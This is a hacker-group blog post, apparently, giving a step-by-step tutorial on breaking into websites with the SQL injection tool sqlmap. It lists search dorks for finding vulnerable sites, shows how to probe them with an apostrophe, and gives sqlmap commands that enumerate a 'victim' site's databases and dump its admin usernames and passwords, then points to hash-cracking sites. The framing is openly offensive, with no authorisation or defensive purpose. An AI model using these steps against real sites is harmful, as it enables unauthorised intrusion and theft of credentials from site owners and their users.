INDIAN ELITE HACKERS

Hello Readers!!

This Time I Posted About SQLMAP(An Automated SQL-i Tool)

Introduction
Sqlmap is an open source penetration
testing tool that automates the process of
detecting and exploiting SQL injection flaws
and taking over of database servers. It comes
with a powerful detection engine, many
features for the ultimate penetration tester
and a broad range of switches lasting from
database fingerprinting, over data fetching
from the database, to accessing the
underlying file system and executing
commands on the operating system via out-
of-band connections. This is all about
sqlmap.

Procedure:
Now follow These steps to hack a website using
SQLMAP.
Step 1
Find SQLvulnerable site.
I will give you some dorks which may help you
finding websites vulnerable to SQL Injection.
Code:
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurllay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=

Want more SQL- i dorks? ??
Go to  link

Step 2
Test if the website is vulnerable
To test if the website is vulnerable to Sqli just
add    '     at the end of the url.
And press enter.
Now we found the target. Now let's go ahead.

Step 3

Code:
Injection

Type this command in the terminal and hit
enter
Code:
sqlmap -u "www.yourtaget.com/
page.php?id=1" --dbs

Now we will get the database name of the
website.

We got the two database ohridhot_ohrid
and information_schema we will select
ohridhot_ohrid
database.

Let's get the tables of that database.
For that we need to enter this command on
terminal and after that hit Enter.
Code:
sqlmap -u "http://www.yourvictim/
page.php?id=1" -D ohridhot_ohrid --
tables

Now we will get the tables list which is stored
in the database we selected.

Now lets grab the columns from the admin
table , type on terminal:
Code:
sqlmap -u "http://www.yourvictim/
page.php?id=1" -D ohridhot_ohrid -T
admin --columns
Now we got the columns and we got user and
pass like on the image below

Now let's grab the user and pass

Code:
sqlmap -u "http://www.yourvictim/
page.php?id=1" -D ohridhot_ohrid -T
admin -C user,pass --dump

This will dump all usernames & passwords

In normals cases:-
User:- Jarvis
Pass:-Iron0man

Special cases: Hashed Usernames and
Passwords
Most websites will have their passwords
hashed as MD5
In this case you'll need to crack them.
Using some websites will help you
Here's a list of Hash cracking websites:
Code:
www.md5decrypter.co.uk/
www.md5this.com/
www.md5crack.com/
http://hashchecker.de/find.html
An MD5 Hash will look like this:
Code:
21232f297a57a5a743894a0e4a801fc3 --
32 characters
A SHA-1 Hash will look like this:
Code:
d033e22ae348aeb5660fc2140aec35850c4
da997 -- 40 characters
I'll make up a detailed tutorial on Hash
cracking soon.

Directory of sqlmap on Kali Linux
Places -> Computer -> Filesystem -> usr ->
share -> sqlmap -> output(here you got output)

That's all , I hope you enjoyed the tutorial.

#Anonymous_KnW